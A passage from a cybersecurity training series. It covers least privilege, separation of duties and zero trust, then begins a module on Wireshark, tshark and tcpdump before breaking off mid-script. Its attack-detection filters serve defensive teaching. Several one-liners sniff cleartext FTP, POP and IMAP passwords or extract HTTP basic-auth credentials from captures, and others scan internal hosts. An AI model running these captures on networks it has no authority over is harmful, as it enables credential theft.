  Compromise one machine → extract hash → use on all machines (PTH)

  Fix (Microsoft LAPS): 
  Unique, randomised local admin password per machine
  Stored in AD, accessible only to authorised admins

  Even better: disable local admin account entirely (CIS benchmark)

SolarWinds-type attacks:
  Build pipeline had excessive permissions
  Compromise of build system = ability to modify any software, sign it
  Least privilege: build system should not have production signing keys
  Production signing: isolated, hardware-backed, requires human approval

11.3 Just-in-Time (JIT) Privilege

JIT Privilege: escalate permissions only when needed, revoke immediately after

Traditional (persistent privilege):
  Admin has always-on domain admin rights
  Risk: if account compromised at any moment, attacker has domain admin

JIT (temporary privilege):
  Admin has limited standard user account normally
  To perform admin task: request elevated access via PAM (CyberArk, BeyondTrust)
  PAM grants temporary access (1 hour, specific system)
  PAM records the entire session
  Access revoked automatically after session

Benefits:
  Attacker who steals credentials gets no privilege (not currently elevated)
  All privileged actions are recorded (accountability)
  Unusual access requests are visible and auditable

Azure PIM (Privileged Identity Management):
  Users are "eligible" for roles but not permanently assigned
  To activate: request role, provide MFA, provide justification
  Role activates for configured duration (e.g., 8 hours max)
  All activations logged to Azure AD audit log

# Implement and audit least privilege:

# Audit Linux sudo privileges:
sudo cat /etc/sudoers | grep -v "^#\|^$"
sudo cat /etc/sudoers.d/*
# Look for: ALL=(ALL) ALL or NOPASSWD: ALL — these are overprivileged

# Check running services and their privilege level:
ps -eo user,pid,comm | sort | uniq -c | sort -rn | head -20
# Processes running as root that shouldn't be

# Check for setuid/setgid binaries (potential privilege escalation):
find / -perm -4000 -o -perm -2000 2>/dev/null | \
    grep -v "^/proc\|^/sys"
# Non-standard SUID files = investigate

# Check Windows local admins:
net localgroup administrators
# Only IT service accounts and break-glass accounts should be here

# Check Windows service account privileges:
sc qc service_name                    # Check what account a service runs as
# Services running as LocalSystem = highest risk if exploited

# Implement principle via Linux capabilities (instead of full root):
sudo setcap cap_net_raw+eip /usr/bin/ping    # ping only needs raw socket
getcap -r / 2>/dev/null               # List all capability-enabled binaries

Key Insight: Least privilege is the single most effective control for limiting the blast radius of any compromise. WannaCry encrypted entire networks because processes ran as administrators. Ransomware running as a limited user can only encrypt that user's files. JIT privilege means even if admin credentials are stolen, they provide no privilege until explicitly elevated — eliminating the persistent privileged account as an attack target.

12. Separation of Duties

12.1 Definition

Separation of Duties (SoD): Ensuring that no single person has control over all aspects of a critical operation. Requires multiple people to complete critical actions.

Why it matters:

Without SoD:
  Single accountant: creates vendor, approves invoice, initiates payment
  One person controls entire financial transaction
  If malicious: can create fictitious vendor and pay themselves
  If compromised: attacker has full financial control

With SoD:
  Person A: creates vendor in system
  Person B (supervisor): approves new vendor
  Person C: creates invoice
  Person D: approves invoice payment
  Person E: initiates bank transfer (requires Person D's approval code)

  For fraud to succeed: attacker must compromise multiple people/systems

Principle in IT:
  Developer should not deploy their own code to production
    (could introduce malicious code without review)
  Security team should not manage the logs they are measured against
    (could manipulate metrics)
  Network admin should not also be the security monitor
    (could cover tracks after policy violation)
  Backup admin should not control the systems being backed up
    (could delete both production and backup)

12.2 SoD in Technology Controls

Code Review as SoD:
  No code reaches production without peer review
  Developer → Pull Request → Peer Review → Merge → CI/CD → Staging → Approval → Production

  Critical: review must be meaningful — rubber-stamp approval defeats purpose

Four-Eyes Principle:
  Any critical action requires two people to approve
  Common in:
    Banking: large transfers require two authorisers
    Change management: changes require change advisory board
    Cryptography: split knowledge key ceremonies (HSM administration)
    Nuclear weapons: two-person integrity rule (two keys simultaneously)

SoD in Access Control:
  Privileged Access Management: admin cannot grant themselves more access
  AD: user who can modify AD groups should not be able to modify audit logs
  Database: DBA who can read all data should not control application authentication

# Implement and verify separation of duties:

# Git branch protection (enforce code review via GitHub API):
curl -X PATCH "https://api.github.com/repos/ORG/REPO/branches/main/protection" \
    -H "Authorization: token YOUR_TOKEN" \
    -H "Accept: application/vnd.github.v3+json" \
    -d '{
        "required_pull_request_reviews": {
            "required_approving_review_count": 2,
            "dismiss_stale_reviews": true
        },
        "required_status_checks": {"strict": true, "contexts": ["CI/Tests"]},
        "enforce_admins": true
    }'

# Linux: make audit logs immutable:
sudo chattr +i /etc/audit/auditd.conf  # Cannot modify without removing attribute first

# Require two-factor for privilege escalation (PAM):
# /etc/pam.d/sudo: auth required pam_google_authenticator.so

# Check for SoD violations — user who can both reset passwords AND manage audit:
# (requires AD access)
# Get-ADUser -Filter * -Properties MemberOf | Where-Object {
#     $_.MemberOf -match "Account Operators" -and $_.MemberOf -match "Event Log Readers"
# }

Key Insight: Separation of Duties is the only control that protects against malicious insiders with legitimate access. No technical control prevents a DBA with full database access from stealing data — but requiring two people to authorise exports, using DLP to detect anomalous queries, and session recording creates both deterrence and detection. The four-eyes principle applied to critical operations converts single points of failure into conspiracy requirements.

13. Zero Trust Model

13.1 The Paradigm Shift

Traditional security assumed that everything inside the network perimeter was trusted. Zero Trust rejects this assumption entirely.

Traditional Model ("Castle and Moat"):
  Inside network = trusted
  Outside network = untrusted
  If you're on the VPN → you're trusted → access everything

  Fatal flaw: attackers who breach the perimeter have free movement inside

Zero Trust Model:
  "Never trust, always verify"
  Location in network conveys NO trust
  Every access request verified:
    Who is the user? (identity)
    What device are they using? (device health)
    What are they trying to access? (resource)
    Is this request normal for them? (behaviour)
    What is the minimum access needed? (least privilege)

  Even valid internal traffic is verified continuously
  Even privileged users are verified per-request

13.2 Zero Trust Architecture Components

NIST SP 800-207 Zero Trust Architecture:

Policy Engine (PE): Makes access decisions
  Input: identity, device posture, resource, context, policy
  Output: ALLOW / DENY / ALLOW with conditions

Policy Administrator (PA): Enforces decisions from PE
  Establishes/terminates sessions
  Issues credentials for specific sessions

Policy Enforcement Point (PEP): Gatekeeper
  Sits between user and resource
  All traffic passes through PEP
  PEP checks with PA before allowing connection

Identity Provider (IdP): Source of identity truth
  Azure AD, Okta, Ping Identity
  Provides: authentication, MFA, attributes

Device Trust: Certificate-based device authentication
  MDM (Intune, Jamf) attestation
  Device health: OS version, patch status, AV status, encryption

Network: Software-Defined Perimeter
  Resources not discoverable without authorisation
  Micro-segmentation: every workload in its own segment

Monitoring: Full visibility into all access
  Every request logged
  Continuous risk scoring
  Anomaly detection

13.3 Zero Trust Implementation

Zero Trust Maturity Model (CISA, 2023):

Identity:
  Traditional: Username/password
  Initial: MFA added
  Advanced: Phishing-resistant MFA (FIDO2), identity risk scoring
  Optimal: Continuous identity verification, behaviour analytics

Devices:
  Traditional: No device check
  Initial: MDM enrolled devices required
  Advanced: Device compliance gating access (health check)
  Optimal: Continuous device monitoring, automated remediation

Networks:
  Traditional: Flat trusted internal network
  Initial: VLANs, basic segmentation
  Advanced: Micro-segmentation, software-defined perimeter
  Optimal: ZTNA (Zero-trust network access), no implicit trust anywhere

Applications:
  Traditional: All internal apps accessible on network
  Initial: Application proxy, published selectively
  Advanced: Per-app MFA, session recording for sensitive apps
  Optimal: Fine-grained authorisation per request, behaviour analytics

Data:
  Traditional: Perimeter protects data, no internal DLP
  Initial: Data classification, basic DLP
  Advanced: DRM (rights management), zero-trust data access
  Optimal: Automated data protection based on sensitivity

# Zero Trust implementation verification:

# Check: are internal resources reachable without authentication?
curl -s -o /dev/null -w "%{http_code}" http://internal-app.company.local/
# 401/403: correct (requires auth)
# 200: no authentication required = zero trust violation

# Check: is VPN the only way to access internal resources?
nmap -p 80,443,8080,3389,22 internal_hostname_from_internet
# Ports accessible directly from internet = perimeter failure

# Verify MFA is enforced (attempt login with password only — should fail):
# If login succeeds without second factor: MFA not enforced

# Check Cloudflare Access / ZTNA policy enforcement:
curl -I https://protected-app.company.com/
# Should redirect to identity provider, not serve content directly

# Implement basic ZT — verify every session via nginx + oauth2-proxy:
# All requests require OAuth2 authentication before reaching the app
# No direct access without a valid, MFA-verified session token

# Verify micro-segmentation (from inside a workstation):
# Try to reach another workstation directly:
ping ANOTHER_WORKSTATION_IP
nc -zv ANOTHER_WORKSTATION_IP 445
# If succeeds: no micro-segmentation (flat network)
# If fails: micro-segmentation working correctly

Zero Trust in OT/ICS:

Zero Trust concepts applied to OT/ICS:

Challenge: many OT devices cannot authenticate themselves
  PLCs don't have certificates
  Field sensors have no identity mechanism

OT Zero Trust approach:

1. Zone/Conduit model (IEC 62443):
   Replace flat OT network with security zones
   All inter-zone traffic through verified conduits (firewalls)
   Devices inherit trust from zone membership

2. Identity at the boundary:
   Even if PLC has no identity, the engineering workstation accessing it does
   MFA on engineering workstation
   Session recording for all PLC access

3. Never trust the IT-OT connection:
   IT network is assumed compromised
   OT access from IT: through DMZ, jump server, protocol break
   One-way data flows where possible (data diode)

4. Micro-segmentation of OT zones:
   Instead of one OT VLAN: separate VLANs per process area
   Firewall between each area
   Attack contained to one process area if successful

5. Continuous monitoring:
   Baseline normal OT traffic (passive)
   Alert on any deviation
   Assume breach — always be looking for threat actors already inside

Key Insight: Zero Trust is not a product — it is a security philosophy requiring architectural changes across identity, device, network, application, and data. The starting point for most organisations is always identity: enforce phishing-resistant MFA (FIDO2/WebAuthn) for all users, all applications, all the time. This single control eliminates the vast majority of credential-based attacks that represent the initial access vector in most documented breaches.

14. Module Summary

Concept	Core Principle	Attack Scenario	Key Defence	OT/ICS Application
CIA — Confidentiality	Only authorised parties see data	Eavesdropping, data exfiltration, credential theft	Encryption (TLS, disk), access controls, DLP	Process parameters, network topology protection
CIA — Integrity	Data has not been unauthorised modified	Supply chain tampering (SolarWinds), log modification, sensor spoofing (Stuxnet)	Cryptographic hashes, digital signatures, FIM, immutable logs	ICS protocol auth (IEC 62351), cross-validate sensors, SIS independence
CIA — Availability	Systems accessible when needed	DDoS, ransomware, SYN flood, disk exhaustion	Redundancy, DDoS mitigation, backups, patching	Highest priority in OT; redundant control paths; maintenance window patches
Authentication	Verify claimed identity	Phishing, brute force, credential stuffing, MFA fatigue, Kerberoasting	Phishing-resistant MFA (FIDO2), password managers, Kerberos hardening	Compensate for no-auth OT protocols with boundary auth and session recording
Authorization	Determine what identity may do	IDOR, privilege escalation, broken access control (OWASP #1)	Server-side checks every request, RBAC, ABAC, deny by default	Jump server ACLs, OT zone firewall rules, per-function access control
Access Control	Enforce auth/authz decisions	VLAN hopping, DAC bypass, SUID exploitation	802.1X NAC, SELinux MAC, ACL auditing, remove SUID	Network segmentation, managed switch port security
AAA	Auth + Authz + Audit trail	Unattributed access, compliance gaps, incident reconstruction failure	RADIUS/TACACS+, centralised logging, SIEM	NERC CIP compliance, individual accounts, session logging for OT access
Risk	Threat × Vulnerability × Impact	Misallocated resources (patching low-risk, ignoring high-risk)	FAIR/CVSS-based prioritisation, risk register, ALE calculation	OT risk: availability/safety impact far exceeds data breach cost
Threat Actors	Who is targeting you and why	APT persistent access (SolarWinds), ransomware (Colonial), insider (Capital One)	Threat intelligence, TTP-based detection, sector-specific ISAC	Sandworm targets OT; Volt Typhoon pre-positioning in critical infrastructure
Attack Surface	Every entry point an attacker could use	Exposed SCADA on internet (Shodan), shadow IT, forgotten assets	Asset discovery, exposure reduction, continuous attack surface monitoring	Thousands of OT devices exposed on Shodan; vendor remote access scope
Defence in Depth	Overlapping controls at multiple layers	Single control failure → complete compromise	Layered controls: physical → network → host → app → data → human	Purdue model zones + firewalls + monitoring = OT DiD implementation
Least Privilege	Minimum necessary permissions only	WannaCry blast radius (admin accounts), lateral movement	LAPS, JIT privilege, service accounts with minimal rights	No shared "operator" accounts; application-specific accounts for HMI
Separation of Duties	No single person controls critical action	Insider fraud, malicious code deployment without review	Code review, 4-eyes principle, PAM for privileged access	Two-person rule for safety system changes; change advisory board
Zero Trust	Never trust, always verify — location conveys no trust	Lateral movement after perimeter breach (Colonial Pipeline), VPN-only perimeter bypass	Phishing-resistant MFA first; then ZTNA, micro-segmentation, continuous monitoring	Zone/conduit model; identity at boundary; assume breach posture

Next Module: Stage 2.2 — Cryptography

Previous Module: Stage 1.8 — Network Analysis Tools

Stage Index: Stage 2 README

Series Index: Full Roadmap

Stage 1.8 — Network Analysis Tools

Rençber AKMAN — Tue, 09 Jun 2026 18:55:05 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.8 — Network Analysis Tools

Level: Beginner → Advanced

Prerequisites: Stage 1.7 — Wireless Networks

Next Stage: Stage 2 — Cybersecurity Core

Why Network Analysis Tools Define Your Career Ceiling
Wireshark — The Packet Analyst's Primary Weapon
tcpdump — The Command-Line Packet Capture Engine
Netstat and ss — Connection State Intelligence
Nmap — The Network Mapper
Traceroute and Tracert — Path Discovery
Ping — The Fundamental Connectivity Test
ipconfig and ifconfig — Interface Configuration
Additional Critical Tools
Tool Integration — Building Investigation Workflows
Network Analysis in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why Network Analysis Tools Define Your Career Ceiling

There is a direct correlation between how deeply you understand these tools and how far you progress in cybersecurity. Every discipline — penetration testing, incident response, threat hunting, SOC analysis, OT security assessment — requires the ability to observe, interrogate, and interpret network behaviour. The tools in this module are not beginner tools you graduate from. They are the tools professionals use every day regardless of seniority.

Real incidents where these tools were decisive:

Stuxnet Discovery (2010): The Stuxnet worm was partially identified through anomalous network traffic analysis. Kaspersky researchers used packet capture tools to observe unusual communication patterns with Siemens WinCC databases and later identified the C2 protocol embedded in industrial communications. Without deep packet analysis, the world's first known cyber-weapon aimed at physical infrastructure might have remained undiscovered far longer.

APT1/Comment Crew Exposure (2013): Mandiant's landmark report exposing Chinese APT1 operations relied heavily on network analysis of captured traffic. Nmap scans revealed attack infrastructure; packet captures documented exfiltration patterns; netstat data from compromised hosts showed persistent connections to C2 infrastructure. The entire forensic reconstruction was built on network analysis data.

Colonial Pipeline (2021): The incident response teams deployed after the ransomware attack used network analysis tools to understand the blast radius — which systems had communicated with the initially compromised systems, which had received malicious payloads, what lateral movement paths had been used. Packet capture evidence helped reconstruct the attack timeline.

For OT/ICS specifically: When a PLC stops responding or a SCADA system behaves erratically, the first question is always: "What is happening at the network level?" Wireshark captures of Modbus traffic can reveal unauthorised write commands. Nmap scans (conducted carefully) identify rogue devices. Ping reveals whether a field device is reachable. These tools are the diagnostic instruments of industrial network security.

The security mindset for this module: You cannot defend what you cannot see. You cannot investigate what you cannot measure. These tools are your senses on the network — developing fluency with them is not optional.

2. Wireshark — The Packet Analyst's Primary Weapon

2.1 What Wireshark Is and How It Works

Wireshark is the world's most widely used network protocol analyser. It captures packets from a network interface, decodes them according to hundreds of protocol dissectors, and presents them in a structured, searchable interface. It can also open packet capture files in pcap, pcapng, and dozens of other formats.

How Wireshark captures packets:

Normal NIC Operation:
  Network traffic → NIC → [NIC accepts only MY packets] → OS → Applications

Promiscuous Mode:
  Network traffic → NIC → [NIC accepts ALL packets on segment] → OS → Wireshark

Monitor Mode (wireless):
  All wireless frames → Wireless NIC → [ALL frames regardless of encryption] → Wireshark
  (Monitor mode captures encrypted frames but cannot decrypt without key)

Capture Pipeline:
  Physical medium → NIC driver → WinPcap/Npcap (Windows) or libpcap (Linux/macOS)
  → Capture engine → Packet buffer → Dissectors → Display engine

Packet dissection:
  Raw bytes → Layer 2 decoder (Ethernet, 802.11, etc.)
             → Layer 3 decoder (IPv4, IPv6, ARP, etc.)
             → Layer 4 decoder (TCP, UDP, ICMP, etc.)
             → Layer 7 decoder (HTTP, DNS, SMB, Modbus, DNP3, etc.)
  Each layer reveals its fields → displayed in protocol tree

2.2 Wireshark Interface Deep Dive

Wireshark Main Window Layout:

┌─────────────────────────────────────────────────────────────┐
│ Filter Bar: [    Display Filter Expression           ] [Apply]│
├─────────────────────────────────────────────────────────────┤
│ Packet List (one row per packet):                           │
│ No.  Time      Source          Dest          Protocol  Info │
│ 1    0.000000  192.168.1.5    8.8.8.8       DNS       Who  │
│ 2    0.012345  8.8.8.8        192.168.1.5   DNS       Resp │
│ 3    0.013000  192.168.1.5    93.184.216.34 TCP       SYN  │
├─────────────────────────────────────────────────────────────┤
│ Packet Details (protocol tree for selected packet):         │
│ ▼ Frame 1: 74 bytes on wire                                 │
│   ▼ Ethernet II: Src: AA:BB:CC:DD:EE:FF, Dst: 11:22:33... │
│     Destination: 11:22:33:44:55:66                         │
│     Source: AA:BB:CC:DD:EE:FF                               │
│     Type: IPv4 (0x0800)                                     │
│   ▼ IPv4: Src 192.168.1.5, Dst 8.8.8.8                    │
│     Version: 4                                              │
│     ...                                                     │
│   ▼ UDP: Src Port 54321, Dst Port 53                       │
│   ▼ DNS: Standard Query                                     │
├─────────────────────────────────────────────────────────────┤
│ Packet Bytes (hex + ASCII):                                 │
│ 0000  11 22 33 44 55 66 aa bb  cc dd ee ff 08 00 45 00  │
│ 0010  ...                                                   │
└─────────────────────────────────────────────────────────────┘

2.3 Display Filters — The Core Skill

Display filters are the most important Wireshark skill. They do not remove packets from the capture — they show or hide packets while the underlying capture remains complete.

Filter Syntax: field operator value (logical operators: and, or, not)

Basic Filters:
  ip.addr == 192.168.1.1          All traffic involving this IP (src or dst)
  ip.src == 192.168.1.5           Traffic FROM this IP
  ip.dst == 8.8.8.8               Traffic TO this IP
  tcp.port == 443                 TCP on port 443 (either direction)
  tcp.dstport == 80               TCP destined for port 80
  udp.port == 53                  UDP port 53 (DNS)

Protocol Filters:
  tcp                             All TCP traffic
  udp                             All UDP traffic
  icmp                            All ICMP traffic
  arp                             All ARP traffic
  dns                             All DNS traffic
  http                            All HTTP traffic (decoded)
  tls                             All TLS/SSL traffic
  smb                             All SMB traffic
  smb2                            All SMB2 traffic
  ftp                             All FTP control traffic
  ssh                             All SSH traffic
  modbus                          All Modbus traffic (ICS)
  dnp3                            All DNP3 traffic (ICS)

TCP Flags:
  tcp.flags.syn == 1              SYN packets (new connections)
  tcp.flags.syn == 1 and tcp.flags.ack == 0   SYN only (not SYN-ACK)
  tcp.flags.reset == 1            RST packets (connection resets)
  tcp.flags.fin == 1              FIN packets (connection close)

Content Filters:
  http.request.method == "POST"   HTTP POST requests
  http.response.code == 200       HTTP 200 OK responses
  http.response.code >= 400       HTTP errors
  dns.qry.name contains "evil"    DNS queries containing "evil"
  frame contains "password"       Any frame containing the string "password"
  data contains 50:41:53:53       Frames containing hex bytes (PASS)

Combining Filters:
  ip.src == 192.168.1.5 and tcp.dstport == 80
  not arp and not icmp            Exclude ARP and ICMP (reduce noise)
  ip.addr == 10.10.10.0/24        Any IP in this subnet
  tcp.port in {80 443 8080 8443}  Traffic on any of these ports

Comparison Operators:
  ==  equal to
  !=  not equal to
  >   greater than
  <   less than
  >=  greater than or equal
  <=  less than or equal
  contains  string/bytes contained within
  matches   regex match (~~)

Security-Specific Filters:
  # Find potential SQL injection in HTTP:
  http.request.uri contains "'"
  http.request.uri contains "UNION"
  http.request.uri contains "SELECT"

  # Find potential XSS:
  http.request contains "<script"

  # Detect password transmission in cleartext:
  ftp.request.command == "PASS"
  pop.request.command == "PASS"
  imap contains "LOGIN"

  # Detect ARP spoofing (duplicate IP):
  arp.duplicate-address-detected

  # Find Nmap SYN scans:
  tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.window_size <= 1024

  # Detect Metasploit Meterpreter (default SSL cert):
  tls.handshake.type == 11        # Certificate in TLS
  # Then check certificate details for known Metasploit cert

  # Modbus write commands (ICS):
  modbus.func_code == 5           # Force Single Coil
  modbus.func_code == 6           # Preset Single Register
  modbus.func_code == 15          # Force Multiple Coils
  modbus.func_code == 16          # Preset Multiple Registers

2.4 Statistics and Analysis Features

# Statistics menu — essential for pattern analysis:

# Protocol Hierarchy:
# Statistics → Protocol Hierarchy
# Shows: percentage of traffic per protocol
# Security use: unexpected protocols (Tor, unusual ports) stand out

# Conversations:
# Statistics → Conversations → TCP/UDP/IP
# Shows: top talkers, bytes transferred per connection
# Security use: identify exfiltration (large outbound transfers)
# Security use: lateral movement (many connections from one source)

# Endpoints:
# Statistics → Endpoints
# Shows: all unique IP/MAC addresses in capture
# Security use: discover new/unexpected hosts on network

# IO Graphs:
# Statistics → I/O Graph
# Shows: traffic volume over time
# Security use: identify spikes (DDoS, exfiltration, scanning)

# Follow TCP Stream:
# Right-click packet → Follow → TCP Stream
# Shows entire TCP conversation as text
# Security use: see complete HTTP request/response, FTP session, etc.
# Most useful command in Wireshark for protocol analysis

# Export Objects:
# File → Export Objects → HTTP/SMB/FTP/TFTP
# Extracts transferred files from the capture
# Security use: extract malware downloaded via HTTP
# Security use: extract sensitive files exfiltrated via SMB

# Expert Information:
# Analyze → Expert Information
# Shows: errors, warnings, protocol anomalies
# Security use: malformed packets, checksum errors, unusual sequences

2.5 Capture Filters vs Display Filters

Capture Filters (BPF syntax — applied at capture time):
  These are applied BEFORE packets are stored
  Packets not matching are discarded
  Use when: you need to reduce capture size, focus on specific traffic
  Syntax: Berkeley Packet Filter (libpcap/BPF), different from display filters

  Examples:
  host 192.168.1.1                 Only traffic to/from this IP
  net 192.168.1.0/24               Only traffic in this subnet
  port 80                          Only traffic on port 80
  tcp                              Only TCP traffic
  not arp                          Exclude ARP
  host 192.168.1.1 and port 80     Combined: specific host AND port

Display Filters (Wireshark syntax — applied to existing capture):
  Applied after capture — original data preserved
  Can be changed without re-capturing
  Richer syntax than capture filters

The critical difference:
  If you set a capture filter: excluded packets are GONE
  If you set a display filter: excluded packets are hidden but still there
  For forensics: always capture everything, use display filters for analysis
  Capture filter only when: storage/performance constraints

2.6 TLS Decryption in Wireshark

# Method 1: Pre-Master Secret Log (modern browsers/TLS):
# Set environment variable before starting browser:
export SSLKEYLOGFILE=/tmp/ssl_keys.log
firefox &                           # Or chromium

# In Wireshark:
# Edit → Preferences → Protocols → TLS
# (Pre)-Master-Secret log filename: /tmp/ssl_keys.log
# Now HTTPS traffic is decrypted in real-time

# Method 2: Server private key (only works for RSA key exchange, not ECDH):
# Edit → Preferences → Protocols → TLS → Edit (RSA keys list)
# Add: IP, Port, Protocol, Key file path
# Import PEM private key of the server
# Note: Does NOT work if server uses forward secrecy (ECDH/DHE) — most modern servers do

# Method 3: Manual session key import:
# If you have the session keys from another source
# Import via the TLS pre-master secret log mechanism

# Security use: decrypt HTTPS in lab environments to understand attack traffic
# Incident response: if you have server private key, decrypt historical captures
# Limitation: most modern servers use forward secrecy — key import won't work
# → Use SSLKEYLOGFILE approach for browser traffic analysis

2.7 Wireshark for Incident Response

# Command-line Wireshark (tshark):

# Basic capture:
sudo tshark -i eth0 -w /tmp/capture.pcap         # Capture to file
sudo tshark -i eth0 -c 1000                      # Capture 1000 packets
sudo tshark -i eth0 -a duration:60               # Capture for 60 seconds

# Read from file and apply filter:
tshark -r capture.pcap -Y "http.request.method == POST"

# Extract specific fields:
tshark -r capture.pcap -T fields \
    -e frame.time \
    -e ip.src \
    -e ip.dst \
    -e tcp.dstport \
    -e http.request.uri \
    -Y "http.request"

# Count DNS queries per domain:
tshark -r capture.pcap -T fields -e dns.qry.name \
    -Y "dns.flags.response == 0" | \
    sort | uniq -c | sort -rn | head -20

# Extract all HTTP usernames and passwords (cleartext):
tshark -r capture.pcap -T fields \
    -e http.authbasic \
    -Y "http.authbasic"

# Find large file transfers (potential exfiltration):
tshark -r capture.pcap -T fields \
    -e ip.src -e ip.dst -e tcp.stream -e tcp.len \
    | awk '{sum[$1" "$2]+=$4} END {for(k in sum) print sum[k], k}' \
    | sort -rn | head -10

# Extract files from HTTP captures:
tshark -r capture.pcap --export-objects http,/tmp/extracted_files/

# Convert pcap to readable JSON for automated analysis:
tshark -r capture.pcap -T json > analysis.json

# Find all unique external IPs (potential C2 or exfiltration):
tshark -r capture.pcap -T fields -e ip.dst \
    | grep -vE "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)" \
    | sort -u

Key Insight: Wireshark's Follow TCP Stream function is the single most powerful investigative capability in the tool. It reconstructs the entire conversation between two endpoints, showing you exactly what was said — credentials, commands, file contents, protocol exchanges. In incident response, following streams to malicious destinations reveals the attacker's exact actions. In OT security, following Modbus streams reveals every command sent to every PLC.

3. tcpdump — The Command-Line Packet Capture Engine

3.1 Why tcpdump Matters

tcpdump is the command-line packet analyser available on virtually every Unix-like system by default. It is the tool you use when:

There is no GUI (server environments, embedded systems, OT devices)
You need to capture remotely and analyse locally
You need scripted, automated packet capture
Performance constraints prevent running Wireshark
You are working on a system with no desktop environment

tcpdump uses libpcap (same library as Wireshark) and produces standard pcap files that Wireshark can read.

3.2 tcpdump Syntax and Filters

tcpdump syntax:
sudo tcpdump [options] [filter expression]

Key Options:
  -i eth0          Interface to capture on (-i any = all interfaces)
  -w file.pcap     Write to pcap file (don't display)
  -r file.pcap     Read from pcap file
  -c 100           Capture only 100 packets then stop
  -n               Don't resolve IP addresses to hostnames (faster, clearer)
  -nn              Don't resolve ports either (show numbers, not service names)
  -v               Verbose (more protocol detail)
  -vv              Very verbose
  -vvv             Maximum verbosity
  -A               Print packet data in ASCII
  -X               Print packet data in hex and ASCII
  -xx              Print with link layer headers in hex
  -s 0             Capture full packet (default is 65535 bytes, -s 0 = unlimited)
  -S               Print absolute sequence numbers (useful for TCP analysis)
  -e               Print link-layer header (MAC addresses)
  -l               Line-buffer output (for piping to grep/awk in real-time)
  -q               Quiet mode (less protocol detail)
  -t               Don't print timestamp
  -tt              Print Unix epoch timestamp (useful for log correlation)
  -ttt             Print delta between packets
  -tttt            Print date and time
  -D               List available interfaces
  -Z user          Drop privileges to user after opening interface

Filter Syntax (BPF — Berkeley Packet Filter):
  Primitives: host, net, port, src, dst, proto
  Logical: and (&&), or (||), not (!)

  host 192.168.1.1              Traffic to or from this IP
  src host 192.168.1.5          Traffic FROM this IP
  dst host 192.168.1.1          Traffic TO this IP
  net 192.168.1.0/24            Traffic in subnet
  port 80                       Traffic on port 80 (TCP or UDP)
  tcp port 443                  TCP port 443
  udp port 53                   UDP port 53
  portrange 1-1024              Any port in range
  not port 22                   Exclude SSH
  tcp and not port 22           TCP, excluding SSH
  host 192.168.1.1 and port 80  Specific host + port

Protocol Primitives:
  ip, ip6, arp, rarp, tcp, udp, icmp, icmp6
  proto 89                       OSPF (IP protocol 89)

Advanced BPF (byte offset matching):
  tcp[tcpflags] & tcp-syn != 0    SYN packets
  tcp[tcpflags] & tcp-rst != 0    RST packets
  tcp[tcpflags] == tcp-syn        ONLY SYN (not SYN-ACK)
  ip[8] <= 5                      TTL <= 5 (traceroute-like packets)
  ip[6:2] & 0x3fff != 0          IP fragmented packets

3.3 Essential tcpdump Commands

# Basic capture and display:
sudo tcpdump -i eth0                              # Basic capture, all traffic
sudo tcpdump -i eth0 -nn                          # No name resolution
sudo tcpdump -i eth0 -nn -v                       # More detail
sudo tcpdump -i any -nn                           # All interfaces

# Save and read:
sudo tcpdump -i eth0 -w /tmp/capture.pcap         # Save to file
sudo tcpdump -r /tmp/capture.pcap -nn             # Read from file

# Targeted captures:
sudo tcpdump -i eth0 host 192.168.1.100           # Specific host
sudo tcpdump -i eth0 port 80                      # Port 80
sudo tcpdump -i eth0 'tcp port 80 and host 192.168.1.100'

# Show packet content:
sudo tcpdump -i eth0 -A port 80                   # ASCII content
sudo tcpdump -i eth0 -X port 80                   # Hex + ASCII

# Capture only specific number:
sudo tcpdump -i eth0 -c 100 -w /tmp/100pkts.pcap  # Capture 100 packets

# Time-limited capture:
timeout 60 sudo tcpdump -i eth0 -w /tmp/60sec.pcap  # 60 seconds

# Capture and pipe to analysis:
sudo tcpdump -i eth0 -l -A port 80 | grep "GET\|POST\|Host:"
# -l: line buffered (necessary for real-time piping)

# Security-specific captures:
# Capture all new TCP connections (SYN only):
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0'

# Capture DNS traffic:
sudo tcpdump -i eth0 -nn udp port 53

# Capture ICMP:
sudo tcpdump -i eth0 icmp

# Capture ARP:
sudo tcpdump -i eth0 arp

# Detect SYN flood (high rate of SYN packets):
sudo tcpdump -i eth0 -nn 'tcp[tcpflags] == tcp-syn' | \
    awk '{print $3}' | cut -d. -f1-4 | \
    sort | uniq -c | sort -rn | head

# Capture credentials in cleartext protocols:
sudo tcpdump -i eth0 -A -s0 'port 21 or port 23 or port 110 or port 143' | \
    grep -iE "user|pass|login"

# Large file capture with rotation:
sudo tcpdump -i eth0 -w /tmp/capture-%Y%m%d%H%M%S.pcap \
    -G 3600 \                    # Rotate every 3600 seconds (1 hour)
    -C 100                       # Max 100MB per file

# Remote capture (capture on remote host, analyse locally):
ssh user@remote_host "sudo tcpdump -i eth0 -w - -U host 192.168.1.1" | \
    wireshark -k -i -
# -w -: write to stdout
# -U: flush after each packet (real-time)
# wireshark -k: start capturing immediately
# wireshark -i -: read from stdin

3.4 tcpdump in Security Contexts

# Incident Response: capture evidence before it's lost
sudo tcpdump -i eth0 \
    -w /evidence/$(hostname)_$(date +%Y%m%d%H%M%S).pcap \
    -s 0 \                       # Full packets (forensic-grade)
    -tttt \                      # Timestamp with date
    &                            # Background — continue collecting

# SOC: monitor for specific IOCs (Indicators of Compromise)
SUSPICIOUS_IP="185.220.101.5"    # Example known malicious IP
sudo tcpdump -i eth0 -nn -A \
    "host $SUSPICIOUS_IP" | \
    tee /var/log/suspicious_traffic.log

# Detect C2 beaconing (regular interval connections to same IP):
sudo tcpdump -i eth0 -nn -t 'tcp[tcpflags] & tcp-syn != 0' | \
    awk '{print $3}' | cut -d. -f1-4 | \
    uniq -c | \
    awk '$1 > 5 {print "Possible beacon: "$2" ("$1" connections)"}'

# Monitor for data exfiltration (large outbound transfers):
sudo tcpdump -i eth0 -nn 'src net 192.168.0.0/16' | \
    awk '{
        split($3, src, ".")
        split($5, dst, ".")
        # Flag if source is internal, dst is external
        if (src[1] != dst[1]) sum[dst[1]"."dst[2]"."dst[3]"."dst[4]] += length($0)
    }
    END {
        for (ip in sum)
